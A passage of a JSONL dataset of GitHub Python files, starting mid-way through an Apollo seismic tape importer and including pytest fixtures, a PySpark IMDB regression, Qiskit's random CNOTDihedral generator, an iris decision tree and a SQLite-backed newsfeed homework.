command1 = word_46[2:9].uint\n                        map1 = word_46[9:10].uint\n                        shz_46 = None\n\n                    if station == 15:\n                        # *also excepting ALSEP word 24 for station 15\n                        shz_24 = None\n    \n                    # 16 * 8 = 128\n                    # 18* 32 bits (long words) = 576\n                    # = 704 bits\n\n                    # row = [record_no,frame,str(utcDateTime),clock_flag,frame,str(utcDateTime),station,ground_station,mh1_1,mh2_1,mhz_1,mh1_2,mh2_2,mhz_2, mh1_3,mh2_3,mhz_3, mh1_4,mh2_4,mhz_4]\n                    # write the record to the file if it is valid\n                    # if time != 0:\n                    #     writer.writerow(row)\n                    # else:\n                    #     print(s.pos, row)\n\n                    # print('old')\n                    # print(row)\n\n                    dict = {\n                      'orig_no' : record_no,\n                      'orig_timestamp' : str(utcDateTime),\n                      'orig_frame' : 0, # no longer used\n                      'orig_station' : station,\n                      'clock_flag' : clock_flag,\n                      'orig_ground_station' : ground_station,\n                      'orig_mh1_1' : mh1_1,\n                      'orig_mh2_1' : mh2_1,\n                      'orig_mhz_1' : mhz_1,\n                      'orig_mh1_2': mh1_2,\n                      'orig_mh2_2' : mh2_2,\n                      'orig_mhz_2' : mhz_2, \n                      'orig_mh1_3' : mh1_3,\n                      'orig_mh2_3' : mh2_3,\n                      'orig_mhz_3' : mhz_3, \n                      'orig_mh1_4' : mh1_4,\n                      'orig_mh2_4' : mh2_4,\n                      'orig_mhz_4' : mhz_4, \n\n                    # SHZ - all even except 2, 46, 56\n                    # (also excepting ALSEP word 24 for station 15)\n                      'shz_4' : shz_4, \n                      'shz_6' : shz_6, \n                      'shz_8' : shz_8, \n\n                      'shz_10' : shz_10, \n                      'shz_12' : shz_12, \n                      'shz_14' : shz_14, \n                      'shz_16' : shz_16, \n                      'shz_18' : shz_18, \n\n                      'shz_20' : shz_20,\n                      'shz_22' : shz_22, \n                      'shz_24' : shz_24, \n                      'shz_26' : shz_26,  \n                      'shz_28' : shz_28, \n\n                      'shz_30' : shz_30,\n                      'shz_32' : shz_32, \n                      'shz_34' : shz_34, \n                      'shz_36' : shz_36,  \n                      'shz_38' : shz_38, \n\n                      'shz_40' : shz_40,\n                      'shz_42' : shz_42, \n                      'shz_44' : shz_44, \n                      'shz_46' : shz_46, \n                      'shz_48' : shz_48, \n\n                      'shz_50' : shz_50,\n                      'shz_52' : shz_52, \n                      'shz_54' : shz_54, \n\n                      'shz_58' : shz_58, \n\n                      'shz_60' : shz_60,\n                      'shz_62' : shz_62, \n                      'shz_64' : shz_64, \n                      # 'bit_synchronizer' : bit_synchronizer,\n                      'frame' : frame,\n                      'sync' : sync,\n                      'bit_synchronizer' : read_flag,\n\n                      'command' : command1,\n                      'map' : map1,\n                      'data_rate' : data_rate\n\n                    }\n\n                    dict_list.append(dict)\n\n\n\n                    # break when the physical record has been read\n                    if s.pos == 155648:\n                        break\n        except ReadError:\n            print('Position of the last line: ', s.pos)\n\n    df = pd.DataFrame.from_dict(dict_list)\n    logging.info(df.to_string())\n\n    # initial cleanup\n    df['orig_no'] = df['orig_no'].astype('Int64')\n    df['orig_timestamp'] = df['orig_timestamp'].astype('datetime64[ns, UTC]')\n    df['orig_frame'] = df['orig_frame'].astype('Int64')\n    df['orig_station'] = df['orig_station'].astype('string')\n    df['clock_flag'] = df['clock_flag'].astype('Int64')\n    df['orig_ground_station'] = df['orig_ground_station'].astype('Int64')\n    df['orig_mh1_1'] = df['orig_mh1_1'].astype('Int64')\n    df['orig_mh2_1'] = df['orig_mh2_1'].astype('Int64')\n    df['orig_mhz_1'] = df['orig_mhz_1'].astype('Int64')\n    df['orig_mh1_2'] = df['orig_mh1_2'].astype('Int64')\n    df['orig_mh2_2'] = df['orig_mh2_2'].astype('Int64')\n    df['orig_mhz_2'] = df['orig_mhz_2'].astype('Int64')\n    df['orig_mh1_3'] = df['orig_mh1_3'].astype('Int64')\n    df['orig_mh2_3'] = df['orig_mh2_3'].astype('Int64')\n    df['orig_mhz_3'] = df['orig_mhz_3'].astype('Int64')\n    df['orig_mh1_4'] = df['orig_mh1_4'].astype('Int64')\n    df['orig_mh2_4'] = df['orig_mh2_4'].astype('Int64')\n    df['orig_mhz_4'] = df['orig_mhz_4'].astype('Int64')\n    # df['bit_synchronizer'] = df['bit_synchronizer'].astype('string')\n    df['sync'] = df['sync'].astype('string')\n    df['frame'] = df['frame'].astype('Int64')\n    df['bit_synchronizer'] = df['bit_synchronizer'].astype('Int64')\n\n    df['command'] = df['command'].astype('Int64')\n    df['map'] = df['map'].astype('Int64')\n    df['data_rate'] = df['data_rate'].astype('Int64')\n\n    \n    if new_format == 0:\n        df['shz_4'] = df['shz_4'].astype('Int64')\n        df['shz_6'] = df['shz_6'].astype('Int64')\n        df['shz_8'] = df['shz_8'].astype('Int64')\n\n\n        df['shz_10'] = df['shz_10'].astype('Int64')\n        df['shz_12'] = df['shz_12'].astype('Int64')\n        df['shz_14'] = df['shz_14'].astype('Int64')\n        df['shz_16'] = df['shz_16'].astype('Int64')\n        df['shz_18'] = df['shz_18'].astype('Int64')\n\n\n        df['shz_20'] = df['shz_20'].astype('Int64')\n        df['shz_22'] = df['shz_22'].astype('Int64')\n        df['shz_24'] = df['shz_24'].astype('Int64')\n        df['shz_26'] = df['shz_26'].astype('Int64')\n        df['shz_28'] = df['shz_28'].astype('Int64')\n\n\n        df['shz_30'] = df['shz_30'].astype('Int64')\n        df['shz_32'] = df['shz_32'].astype('Int64')\n        df['shz_34'] = df['shz_34'].astype('Int64')\n        df['shz_36'] = df['shz_36'].astype('Int64')\n        df['shz_38'] = df['shz_38'].astype('Int64')\n\n\n        df['shz_40'] = df['shz_40'].astype('Int64')\n        df['shz_42'] = df['shz_42'].astype('Int64')\n        df['shz_44'] = df['shz_44'].astype('Int64')\n        df['shz_46'] = df['shz_46'].astype('Int64')\n        df['shz_48'] = df['shz_48'].astype('Int64')\n\n\n        df['shz_50'] = df['shz_50'].astype('Int64')\n        df['shz_52'] = df['shz_52'].astype('Int64')\n        df['shz_54'] = df['shz_54'].astype('Int64')\n\n        df['shz_58'] = df['shz_58'].astype('Int64')\n\n\n        df['shz_60'] = df['shz_60'].astype('Int64')\n        df['shz_62'] = df['shz_62'].astype('Int64')\n        df['shz_64'] = df['shz_64'].astype('Int64')\n\n    print(filename)\n    df = clean_year(filename,df)\n\n\n    if count_ground_station0 > 0:\n        logging.info('SEVERE: {} ground station =0'.format(count_ground_station0))\n        print('SEVERE: {} ground station =0'.format(count_ground_station0))\n\n    print(out_filename_gz)\n    df.to_csv(out_filename_gz,index=False,date_format='%Y-%m-%dT%H:%M:%S.%fZ',quoting=csv.QUOTE_NONNUMERIC)\n    \n    return\n\ndef import_csv_main_tapes(base_dir, out_base_dir, filenames=None):\n    # filenames (default = None) - if specified, then read only these filenames \n\n    # if no filenames have been passed, then look for them \n    if filenames is None:\n        filenames = []\n        for filename in glob.glob(os.path.join(base_dir,'wtn*.gz')):\n            filenames.append(os.path.basename(filename))\n\n    for filename in filenames: \n        print('Searching for :', os.path.join(base_dir,filename))\n        for in_file in glob.glob(os.path.join(base_dir,filename)):    \n            # remove the .gz from the filename\n            out_filename_gz, _ = os.path.splitext(filename)\n            out_filename_gz = os.path.join(out_base_dir, '{}.csv.gz'.format(out_filename_gz))\n            print(in_file, out_filename_gz)\n            binary_import_main_tapes(in_file, out_filename_gz)\n","repo_name":"cerinunn/pdart","sub_path":"binary_import_main_tapes.py","file_name":"binary_import_main_tapes.py","file_ext":"py","file_size_in_byte":26189,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"22"}
+{"seq_id":"9547157414","text":"cont1=0\ncont2=0\nfor a in range(10):\n    num=int(input('Digite ums numeros inteiro: '))\n    if num % 2 ==0:\n        cont1+=1\n    else:\n        cont2+=1\nprint('numero par: %d'%(cont1))\nprint('numero impar: %d'%(cont2))\n","repo_name":"DiegoYokoyama/codigos_das_aulas","sub_path":"aulas do mes de junho/aula dia 02-06-2023/exer-1.py","file_name":"exer-1.py","file_ext":"py","file_size_in_byte":217,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2148861089","text":"import pkg_resources\nimport pytest\nfrom datasets import load_dataset\nfrom dotenv import load_dotenv\nfrom torch.utils.data import random_split\nfrom transformers import AutoModelForCausalLM, AutoTokenizer\n\nfrom instruct_goose.utils import load_yaml\n\nload_dotenv()\n\n\n@pytest.fixture\ndef default_config():\n    file_path = \"../configs/sentiment_config.yml\"\n    full_path = pkg_resources.resource_filename(__name__, file_path)\n    return load_yaml(full_path)\n\n\n@pytest.fixture\ndef device():\n    return \"cpu\"\n\n\n@pytest.fixture\ndef tokenizer(default_config):\n    tokenizer_path = default_config[\"model\"][\"tokenizer_path\"]\n    return AutoTokenizer.from_pretrained(tokenizer_path)\n\n\n#### REWARD MODEL\n\n\n@pytest.fixture\ndef reward_dataset(default_config):\n    dataset_checkpoint = default_config[\"reward_data\"][\"data_path\"]\n    dataset = load_dataset(dataset_checkpoint)\n    return dataset\n\n\n@pytest.fixture\ndef small_reward_dataset(reward_dataset):\n    small_dataset, _ = random_split(\n        reward_dataset[\"train\"], [10, len(reward_dataset[\"train\"]) - 10]\n    )\n    return small_dataset\n\n\n@pytest.fixture\ndef reward_tokenizer(default_config):\n    reward_checkpoint = default_config[\"reward_model\"][\"tokenizer_path\"]\n    tokenizer = AutoTokenizer.from_pretrained(reward_checkpoint)\n    tokenizer.pad_token = tokenizer.eos_token\n    return tokenizer\n\n\n#### RL MODEL\n\n\n@pytest.fixture\ndef small_prompt_dataset(default_config):\n    dataset_checkpoint = default_config[\"agent_data\"][\"data_path\"]\n    dataset = load_dataset(dataset_checkpoint)\n    small_dataset, _ = random_split(dataset[\"train\"], [10, len(dataset[\"train\"]) - 10])\n\n    return small_dataset\n\n\n@pytest.fixture\ndef agent_model(default_config):\n    model_checkpoint = default_config[\"model\"][\"model_path\"]\n    model = AutoModelForCausalLM.from_pretrained(model_checkpoint)\n    return model\n\n\n@pytest.fixture\ndef agent_tokenizer(default_config):\n    agent_checkpoint = default_config[\"model\"][\"tokenizer_path\"]\n    tokenizer = AutoTokenizer.from_pretrained(agent_checkpoint)\n    tokenizer.pad_token = tokenizer.eos_token\n    return tokenizer\n","repo_name":"xrsrke/instructGOOSE","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2092,"program_lang":"python","lang":"en","doc_type":"code","stars":156,"dataset":"github-code","pt":"22"}
+{"seq_id":"40023913226","text":"from pyspark.sql import SparkSession, functions, types\nimport sys\n\nfrom pyspark.ml import Pipeline\nfrom pyspark.ml.feature import StringIndexer, VectorAssembler, SQLTransformer\nfrom pyspark.ml.regression import RandomForestRegressor\nfrom pyspark.sql.functions import dayofyear\nfrom pyspark.ml.evaluation import RegressionEvaluator\n\ncluster_seeds = ['127.0.0.1']\n#cluster_seeds = ['199.60.17.188', '199.60.17.216']\nspark = SparkSession.builder.appName('Analysis Part 1').config('spark.cassandra.connection.host', ','.join(cluster_seeds)).getOrCreate()\nspark.sparkContext.setLogLevel('WARN')\n\nkeyspace = 'technoaces'\ndef main(model_file):\n\n    keyspace='technoaces'\n\n    data = spark.read.format(\"org.apache.spark.sql.cassandra\")\\\n                .options(table='imdb_movies_data', keyspace=keyspace).load()\n    data = data.where(data['imdb_score']!=0).where(data['runtimemins']!=0).where(data['meta_score']!=0).where(data['votes']!=0)\n    train, validation = data.randomSplit([0.75, 0.25])\n\n    imdb_assembler = VectorAssembler(\n        inputCols=['year','runtimemins','meta_score', 'votes'],\n        outputCol='features')\n    \n    imdbclassifier = RandomForestRegressor(\n        numTrees=2,featuresCol='features',\n        labelCol='imdb_score',maxDepth=30,seed=1000)\n\n    pipeline = Pipeline(stages=[imdb_assembler, imdbclassifier])\n    \n    model = pipeline.fit(train)\n    predictions = model.transform(validation)\n\n    predictions.select('imdb_id','title','runtimemins','meta_score', 'imdb_score','votes'\\\n                ,predictions['prediction'].alias('Predicted Votes')).show()\n    \n    r2_evaluator = RegressionEvaluator(predictionCol='prediction', labelCol='imdb_score',\n            metricName='r2')\n    r2 = r2_evaluator.evaluate(predictions)\n\n    return 0\n\nif __name__ == '__main__':\n    model_file = sys.argv[1]\n    main(model_file)","repo_name":"tusharck/IMDB---DATA-SCIENCE","sub_path":"pred_imdb.py","file_name":"pred_imdb.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26677636937","text":"from __future__ import annotations\nimport numpy as np\nfrom numpy.random import default_rng\nfrom .dihedral import CNOTDihedral\n\n\ndef random_cnotdihedral(num_qubits, seed=None):\n    \"\"\"Return a random CNOTDihedral element.\n\n    Args:\n        num_qubits (int): the number of qubits for the CNOTDihedral object.\n        seed (int or RandomState): Optional. Set a fixed seed or\n                                   generator for RNG.\n    Returns:\n        CNOTDihedral: a random CNOTDihedral element.\n    \"\"\"\n\n    if seed is None:\n        rng = np.random.default_rng()\n    elif isinstance(seed, np.random.Generator):\n        rng = seed\n    else:\n        rng = default_rng(seed)\n\n    elem = CNOTDihedral(num_qubits=num_qubits)\n\n    # Random phase polynomial weights\n    weight_1 = rng.integers(8, size=num_qubits)\n    elem.poly.weight_1 = weight_1\n    weight_2 = 2 * rng.integers(4, size=int(num_qubits * (num_qubits - 1) / 2))\n    elem.poly.weight_2 = weight_2\n    weight_3 = 4 * rng.integers(2, size=int(num_qubits * (num_qubits - 1) * (num_qubits - 2) / 6))\n    elem.poly.weight_3 = weight_3\n\n    # Random affine function\n    # Random invertible binary matrix\n    from qiskit.synthesis.linear import random_invertible_binary_matrix\n\n    linear = random_invertible_binary_matrix(num_qubits, seed=rng)\n    elem.linear = linear\n\n    # Random shift\n    shift = rng.integers(2, size=num_qubits)\n    elem.shift = shift\n\n    return elem\n","repo_name":"Qiskit/qiskit","sub_path":"qiskit/quantum_info/operators/dihedral/random.py","file_name":"random.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":4020,"dataset":"github-code","pt":"22"}
+{"seq_id":"4323726089","text":"from sklearn import datasets\nimport math\nimport numpy as np\n\n\n\ndef getInformationEntropy(arr,leng):\n\n    return -(arr[0]/leng*math.log(arr[0]/leng if arr[0]>0 else 1)+              arr[1]/leng*math.log(arr[1]/leng if arr[1]>0 else 1)+              arr[2]/leng*math.log(arr[2]/leng if arr[2]>0 else 1))\n\ndef discretization(index):\n    \n    feature1 = np.array([iris.data[:,index],iris.target]).T\n    feature1 = feature1[feature1[:,0].argsort()]\n\n    counter1 = np.array([0,0,0])\n    counter2 = np.array([0,0,0])\n    \n    resEntropy = 100000\n    for i in range(len(feature1[:,0])):\n\n        counter1[int(feature1[i,1])] = counter1[int(feature1[i,1])] + 1\n        counter2 = np.copy(counter1)\n\n        for j in range(i+1,len(feature1[:,0])):\n\n            counter2[int(feature1[j,1])] =  counter2[int(feature1[j,1])] + 1\n            if i != j and j != len(feature1[:,0])-1:\n\n                sum = (i+1)*getInformationEntropy(counter1,i+1) +                 (j-i)*getInformationEntropy(counter2-counter1,j-i) +                 (length-j-1)*getInformationEntropy(np.array(num)-counter2,length-j-1)\n                if sum < resEntropy:\n                    resEntropy = sum\n                    res = np.array([i,j])\n    res_value = [feature1[res[0],0],feature1[res[1],0]]\n    print(res,resEntropy,res_value)\n    return res_value\n\ndef getRazors():\n    a = []\n    for i in range(len(iris.feature_names)):\n        print(i)\n        a.append(discretization(i))\n\n    return np.array(a)\n\n#隨機抽取120的training data set和30的validation data set\ndef divideData():\n    completeData = np.c_[iris.data,iris.target.T]\n    np.random.shuffle(completeData)\n    trainData = completeData[range(int(length*0.8)),:]\n    testData = completeData[range(int(length*0.8),length),:]\n    return [trainData,testData]\n\ndef getEntropy(counter):\n\n    res = 0\n    denominator = np.sum(counter)\n    if denominator == 0:\n        return 0\n    for value in counter:\n        if value == 0:\n            continue\n        res += value/denominator * math.log(value/denominator if value>0 and denominator>0 else 1)\n    return -res\n\n\ndef findMaxIndex(dataSet):\n    maxIndex = 0\n    maxValue = -1\n    for index,value in enumerate(dataSet):\n        if value>maxValue:\n            maxIndex = index\n            maxValue = value\n    return maxIndex\n\n\n\ndef recursion(featureSet,dataSet,counterSet):\n    \n    if(counterSet[0]==0 and counterSet[1]==0 and counterSet[2]!=0):\n        return iris.target_names[2]\n    if(counterSet[0]!=0 and counterSet[1]==0 and counterSet[2]==0):\n        return iris.target_names[0]\n    if(counterSet[0]==0 and counterSet[1]!=0 and counterSet[2]==0):\n        return iris.target_names[1]\n    \n    if len(featureSet) == 0:\n        return iris.target_names[findMaxIndex(counterSet)]\n    if len(dataSet) == 0:\n        return []\n    \n    res = 1000\n    final = 0\n    for feature in featureSet:\n        i = razors[feature][0]\n        j = razors[feature][1]\n        set1 = []\n        set2 = []\n        set3 = []\n        counter1 = [0,0,0]\n        counter2 = [0,0,0]\n        counter3 = [0,0,0]\n        for data in dataSet:\n            index = int(data[-1])\n            if data[feature]< i :\n                set1.append(data)\n                counter1[index] = counter1[index]+1\n            elif data[feature] >= i and data[feature] <=j:\n                set2.append(data)\n                counter2[index] = counter2[index]+1\n            else:\n                set3.append(data)\n                counter3[index] = counter3[index]+1\n\n        \n        a =( len(set1)*getEntropy(counter1) +         len(set2)*getEntropy(counter2) +         len(set3)*getEntropy(counter3) )/ len(dataSet)\n  \n        if a<res :\n            res = a\n            final = feature\n\n    \n    #返回被選中的特徵的下標\n    #sequence.append(final)   \n    featureSet.remove(final)\n    child = [0,0,0,0]\n    child[0] = final\n    child[1] = recursion(featureSet,set1,counter1)\n    child[2] = recursion(featureSet,set2,counter2)\n    child[3] = recursion(featureSet,set3,counter3)\n    \n    return child \n\n                 \ndef judge(data,tree):\n\n    root = \"unknow\"\n    while(len(tree)>0):\n        if isinstance(tree,str) and tree in iris.target_names:\n            return tree\n        root = tree[0]\n        if(isinstance(root,str)):\n            return root\n        \n        if isinstance(root,int):\n            if data[root]<razors[root][0] and tree[1] != [] :\n                tree = tree[1]\n            elif tree[2] != [] and (tree[1]==[] or (data[root]>=razors[root][0] and data[root]<=razors[root][1])):\n                tree = tree[2]\n            else :\n                tree = tree[3]\n    return root            \n\n\nif __name__ == '__main__':\n    \n    iris = datasets.load_iris()\n    num = [0,0,0]\n    for row in iris.data:\n        num[int(row[-1])] = num[int(row[-1])] + 1\n\n    length = len(iris.target)\n    [trainData,testData] = divideData()\n    \n    razors = getRazors()\n\n    tree = recursion(list(range(len(iris.feature_names))),           trainData,[np.sum(trainData[:,-1]==0),            np.sum(trainData[:,-1]==1),np.sum(trainData[:,-1]==2)])\n    print(\"本次選取的訓練集構建出的樹\",tree)\n    index = 0\n    right = 0\n    for data in testData:\n        result = judge(testData[index],tree)\n        truth = iris.target_names[int(testData[index][-1])]\n                       \n        print(\"result is \",result ,\"  truth is \",truth)\n        index = index + 1\n        if result == truth:\n            right = right + 1\n    print(\"Correct rate ： \",right/index)","repo_name":"oilover8728/NCTU_HW-LAB_in_class","sub_path":"2020-Artifical_Intelligence_hw/HW4/abc.py","file_name":"abc.py","file_ext":"py","file_size_in_byte":5517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"37841306400","text":"\"\"\"\nExpand previous Homework 5/6/7/8/9 with additional class, which allow to save records into database:\n\n1.Different types of records require different data tables\n\n2.New record creates new row in data table\n\n3.Implement “no duplicate” check.\n\"\"\"\n\n\nfrom datetime import datetime, timedelta\nimport os\nimport json\nimport csv\nimport xml.etree.ElementTree as ET\nfrom collections import Counter\nimport re\nfrom Task_4_3_v2 import TextNormalizer as norm\nimport pyodbc\n\n\nclass DatabaseManager:\n    def __init__(self):\n        self.connection = pyodbc.connect('Driver={SQLite3 ODBC Driver};'\n                                         'Direct=True;'\n                                         'Database=newsfeed.db;'\n                                         'String Types=Unicode')\n        self.cursor = self.connection.cursor()\n        self.tables = {}\n\n    def create_table(self, table_name, columns):\n        columns_str = ', '.join([f'{name} {datatype}' for name, datatype in columns.items()])\n        query = f'CREATE TABLE IF NOT EXISTS {table_name} ({columns_str})'\n        self.cursor.execute(query)\n        self.tables[table_name] = list(columns.keys())\n\n    def close_connection(self):\n        self.connection.close()\n\n    def insert_record(self, record):\n        table_name = record.article_type.lower()\n        columns = self.tables[table_name]\n        placeholders = ', '.join(['?' for _ in columns])\n        values = [getattr(record, column) for column in columns]\n        query = f'SELECT COUNT(*) FROM {table_name} WHERE '\n        query += ' AND '.join([f'{col} = ?' for col in columns])\n        duplicate_check = self.cursor.execute(query, values).fetchone()[0]\n        if duplicate_check == 0:\n            insert_query = f'INSERT INTO {table_name} ({\", \".join(columns)}) VALUES ({placeholders})'\n            self.cursor.execute(insert_query, values)\n            self.connection.commit()\n            print('Record added successfully!')\n        else:\n            print('Record already exists in the database!')\n\n    def create_news_table(self):\n        self.create_table('news', {\n            'Body': 'TEXT',\n            'City': 'TEXT',\n            'Date': 'TEXT'\n        })\n\n    def create_advertisement_table(self):\n        self.create_table('advertisement', {\n            'Body': 'TEXT',\n            'Actual_until_date': 'TEXT',\n            'Days_left': 'TEXT'\n        })\n\n    def create_promocode_table(self):\n        self.create_table('promocode', {\n            'Body': 'TEXT',\n            'Valid_days': 'TEXT',\n            'Actual_before_date': 'TEXT'\n        })\n\n\nclass Publication:\n    def __init__(self):\n        self.header = ''\n        self.article_type = ''\n        self.date_type = ''\n        self.Body = ''\n        self.Date = ''\n        self.Valid_days = ''\n        self.addinfo = ''\n\n    def get_publication_body(self, text='input'):\n        if text == 'input':\n            print(f'Input {self.article_type} body\\n')\n            text = norm(input()).get_normalized_text()\n        self.Body = text\n\n    def get_date(self, text):\n        while True:\n            if text == 'input':\n                print(f'Input {self.date_type} in dd/mm/yyyy format\\n')\n                text = input()\n            else:\n                text\n            try:\n                date = datetime.strptime(text, '%d/%m/%Y')\n                self.date = date\n                break  # valid input received, exit loop\n            except ValueError:\n                print(\"Invalid input. Please enter a valid date in dd/mm/yyyy format, or type 'exit' to quit.\")\n                text = input()\n                if text.lower() == 'exit':\n                    break  # user chose to exit, exit loop and function\n\n    def get_valid_days(self, text):\n        while True:\n            if text == 'input':\n                print(f'Input {self.date_type} - count of days (use digits, days should be between 0 and 365.)\\n')\n                text = input()\n            else:\n                text\n            try:\n                days = int(text)\n                if days < 0 or days > 365:\n                    raise ValueError(\"Days should be between 0 and 365.\")\n                self.valid_days = days\n                break  # valid input received, exit loop\n            except ValueError:\n                print(\"Invalid input. Please enter a valid number of days between 0 and 365, or type 'exit' to quit.\")\n                text = input()\n                if text.lower() == 'exit':\n                    break  # user chose to exit, exit loop and function\n\n    def write(self):\n\n        # Create needed tables\n        db = DatabaseManager()\n        db.create_news_table()\n        db.create_advertisement_table()\n        db.create_promocode_table()\n\n        # Add a record to the database\n        db.insert_record(self)\n        db.close_connection()\n\n        # Write to a file\n        f = open(os.path.abspath('newsfeed.txt'), 'a')\n        f.write('\\n'.join([self.header, self.Body, self.addinfo, '------------------------------\\n\\n\\n']))\n        f.close()\n\n\nclass TextAnalyzer:\n    def __init__(self):\n        self.word_count = 0\n        self.letter_count = 0\n        self.uppercase_count = 0\n\n    def analyze_text(self, text):\n        # Calculate word count and letter count\n        words = re.findall(r'\\b\\w+\\b', text.lower())  # find all words in text\n        words = [word for word in words if not word.isdigit()]  # exclude words that only contain digits\n        word_count = len(words)\n        letter_count = sum(len(word) for word in words)\n\n        # Calculate uppercase count\n        uppercase_count = sum(1 for c in text if c.isupper())\n\n        # Count the frequency of each word\n        word_freq = Counter(words)\n\n        # Create a list of tuples containing distinct word and its count\n        word_count_list = [(word, count) for word, count in word_freq.items()]\n\n        # Sort the list alphabetically by word\n        word_count_list.sort(key=lambda x: x[0])\n\n        return word_count_list\n\n    def create_word_count_csv(self, filename, word_count_list):\n        # Create csv file with word count\n        with open(filename, mode='w', newline='') as file:\n            writer = csv.writer(file, delimiter='-')\n            writer.writerows(word_count_list)\n\n    def create_letter_count_csv(self, filename, text):\n        # Create csv file with letter count\n        lowercase_text = text.lower()  # convert to lowercase\n        letters = set(c for c in lowercase_text if c.isalpha())\n        total_count = sum(1 for c in lowercase_text if c.isalpha())\n        uppercase_count = sum(1 for c in text if c.isupper())\n        lowercase_count = total_count - uppercase_count\n\n        rows = []\n        for letter in sorted(letters):\n            count = sum(1 for c in lowercase_text if c == letter)\n            uppercase = sum(1 for c in text if c == letter and c.isupper())\n            percentage = round(count / total_count * 100, 2)\n            row = {'Letter': letter, 'Count_all': count, 'Count_uppercase': uppercase, 'Percentage': percentage}\n            rows.append(row)\n\n        fieldnames = ['Letter', 'Count_all', 'Count_uppercase', 'Percentage']\n        with open(filename, mode='w', newline='') as file:\n            writer = csv.DictWriter(file, fieldnames=fieldnames)\n            writer.writeheader()\n            writer.writerows(rows)\n\n    def write_csv(self, filename='newsfeed.txt'):\n        with open(filename, 'r') as article_body:\n            text = article_body.read()\n            lines = text.split('\\n')\n        analyzer = TextAnalyzer()\n        words = analyzer.analyze_text(text)\n\n        # Create word count csv\n        word_count_file = os.path.abspath('word-count.csv')\n        analyzer.create_word_count_csv(word_count_file, words)\n\n        # Create letter count csv\n        letter_count_file = os.path.abspath('letter-count.csv')\n        analyzer.create_letter_count_csv(letter_count_file, text)\n\n\nclass AddNews(Publication):\n\n    def __init__(self):\n        super().__init__()\n        self.header = 'News -------------------------'\n        self.article_type = 'News'\n        self.Body = ''\n        self.City = ''\n        self.Date = ''\n\n    def get_city_and_cur_date(self, text='input'):\n        if text == 'input':\n            print(f'Input city\\n')\n            text = norm(input()).get_normalized_text()\n        self.City = text\n        self.Date = str(datetime.now().strftime(\"%d/%m/%Y %H.%M\"))\n        self.addinfo = f'{self.City}, {self.Date}'\n\n\nclass AddAdvertisement(Publication):\n\n    def __init__(self):\n        super().__init__()\n        self.header = 'Advertisement ----------------'\n        self.article_type = 'advertisement'\n        self.date_type = 'Exp.date'\n        self.Actual_until_date = ''\n        self.Days_left = ''\n\n    def adv_calc(self, text='input'):\n        self.get_date(text)\n        days = self.date - datetime.now()\n        self.Days_left = days.days\n        self.Actual_until_date = self.date.strftime(\"%d/%m/%Y\")\n        self.addinfo = f'Actual until: {self.date.strftime(\"%d/%m/%Y\")}, {self.Days_left} days left'\n\n\nclass AddPromoCode(Publication):\n\n    def __init__(self):\n        super().__init__()\n        self.header = 'Promocode -------------------'\n        self.article_type = 'promocode'\n        self.date_type = 'Valid.until'\n        self.Actual_before_date = ''\n        self.Days_left = ''\n        self.table_name = 'promocode'\n\n    def promo_code_calc(self, text='input'):\n        self.get_valid_days(text)\n        final_date = (datetime.now() + timedelta(days=int(self.valid_days))).date()\n        self.Actual_before_date = str(final_date.strftime(\"%d/%m/%Y\"))\n        self.Valid_days = str(self.valid_days)\n        self.addinfo = f'Proposition will be valid for {self.valid_days} days, actual before: {self.Actual_before_date}'\n\n\nclass ReadFromFile(Publication):\n\n    def __init__(self):\n        super().__init__()\n        self.default_filename = 'FileForImport.txt'\n\n    def read_file(self):\n        file_path = input(\n            f\"Please provide file path and filename or press 'Enter' to use default filename ({self.default_filename}): \")\n        if not file_path:\n            file_path = self.default_filename\n        try:\n            with open(file_path) as f:\n                num_rows = input(\"Please enter the number of rows to import (or press 'Enter' for all rows): \")\n                content = f.read().strip().split('---')\n            if num_rows:\n                content = content[:int(num_rows)]\n            for line in content:\n                fields = line.strip().split(',')\n                if fields[0].lower() == 'news':\n                    news = AddNews()\n                    news.get_publication_body(text=norm(fields[1]).get_normalized_text())\n                    news.get_city_and_cur_date(text=fields[2])\n                    news.write()\n                elif fields[0].lower() == 'adv':\n                    adv = AddAdvertisement()\n                    adv.get_publication_body(text=norm(fields[1]).get_normalized_text())\n                    date = fields[2]\n                    adv.adv_calc(date)\n                    adv.write()\n                elif fields[0].lower() == 'promocode':\n                    promocode = AddPromoCode()\n                    promocode.get_publication_body(text=norm(fields[1]).get_normalized_text())\n                    valid_days = fields[2]\n                    promocode.promo_code_calc(valid_days)\n                    promocode.write()\n                else:\n                    print(f\"Invalid record: {line}\")\n            os.remove(file_path)  # delete file after reading or comment to disable the delete function\n        except IOError:\n            print(\"Error reading file\")\n        except IndexError:\n            print(f\"Something wrong with '{file_path}' file, please check and fix it or choose the correct one.\")\n\n\nclass ReadFromJSON(Publication):\n\n    def __init__(self):\n        super().__init__()\n        self.default_json_filename = 'JSONForImport.json'\n\n    def read_json(self):\n        file_path = input(\n            f\"Please provide JSON file path and filename or press 'Enter' to use the default filename ({self.default_json_filename}): \")\n        if not file_path:\n            file_path = self.default_json_filename\n\n        try:\n            with open(file_path) as f:\n                num_rows = input(\"Please enter the number of rows to import (or press 'Enter' for all rows): \")\n                data = json.load(f)\n                records = data.get('records')\n                if num_rows:\n                    records = records[:int(num_rows)]\n                for record in records:\n                    if record.get('type').lower() == 'news':\n                        news = AddNews()\n                        news.get_publication_body(text=norm(record.get('body')).get_normalized_text())\n                        news.get_city_and_cur_date(text=record.get('location'))\n                        news.write()\n                    elif record.get('type').lower() == 'adv':\n                        adv = AddAdvertisement()\n                        adv.get_publication_body(text=norm(record.get('body')).get_normalized_text())\n                        date = str(record.get('date'))\n                        adv.adv_calc(date)\n                        adv.write()\n                    elif record.get('type').lower() == 'promocode':\n                        promocode = AddPromoCode()\n                        promocode.get_publication_body(text=norm(record.get('body')).get_normalized_text())\n                        valid_days = str(record.get('valid_days'))\n                        promocode.promo_code_calc(valid_days)\n                        promocode.write()\n                    else:\n                        print(f\"Invalid record: {record}\")\n            os.remove(file_path)  # delete file after reading or comment to disable the delete function\n        except IOError:\n            print(\"Error reading file\")\n        except json.decoder.JSONDecodeError:\n            print(f\"Something wrong with 